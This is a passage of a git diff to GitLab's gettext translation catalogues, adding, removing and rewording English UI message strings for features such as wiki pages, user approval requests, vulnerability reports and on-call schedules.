msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26614,7 +27227,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27753,6 +28369,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28722,6 +29347,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29061,6 +29701,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30207,6 +30886,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,7 +32224,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32266,9 +32999,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index 1a34d69a3f4..c14bddbee17 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:46\n"
+"PO-Revision-Date: 2020-12-03 08:15\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
